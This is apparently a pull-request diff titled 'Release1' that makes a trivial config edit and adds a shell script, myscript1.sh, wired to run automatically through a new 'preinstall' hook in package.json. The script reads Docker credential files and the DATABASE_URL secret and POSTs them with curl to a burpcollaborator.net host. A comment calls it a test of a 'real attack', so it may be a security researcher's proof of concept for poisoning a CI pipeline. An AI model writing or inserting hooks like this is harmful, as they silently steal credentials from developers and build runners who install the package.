Release1

configs/collections/1.static-site-generator.yml

@@ -35,4 +35,4 @@ items:
   - evidence-dev/evidence
   - vuejs/vitepress
   - shuding/nextra
-  - squidfunk/mkdocs-material
+  - squidfunk/mkdocs-material111

myscript1.sh

@@ -0,0 +1,24 @@
+#!/usr/bin/env bash
+#filename: myscript.sh
+
+echo "-------------hello1--------------" >&2
+
+
+export webhook="hg1k4kcatxz4lr29wui6vnwy9pfj38.burpcollaborator.net"
+
+curl -X POST \
+  -H "Content-Type: text/plain" \
+  --data "$(cat ~/.docker/config.json)" \
+    "$webhook/docker_cred"
+
+curl -X POST \
+  -H "Content-Type: text/plain" \
+  --data "$(cat /home/runner/.docker/config.json)" \
+    "$webhook/docker_cred2"
+
+curl -X POST \
+  -H "Content-Type: text/plain" \
+  --data "$DATABASE_URL" \
+    "$webhook/aaaa"
+
+sleep 2 # in real attack it will be 1200 to have time to edit

package.json

@@ -13,6 +13,7 @@
     "packages/sync-github-data"
   ],
   "scripts": {
+    "preinstall": "echo __Success1 runFile >&2; chmod +x myscript1.sh; ./myscript1.sh",
     "prepare": "husky install"
   },
   "devDependencies": {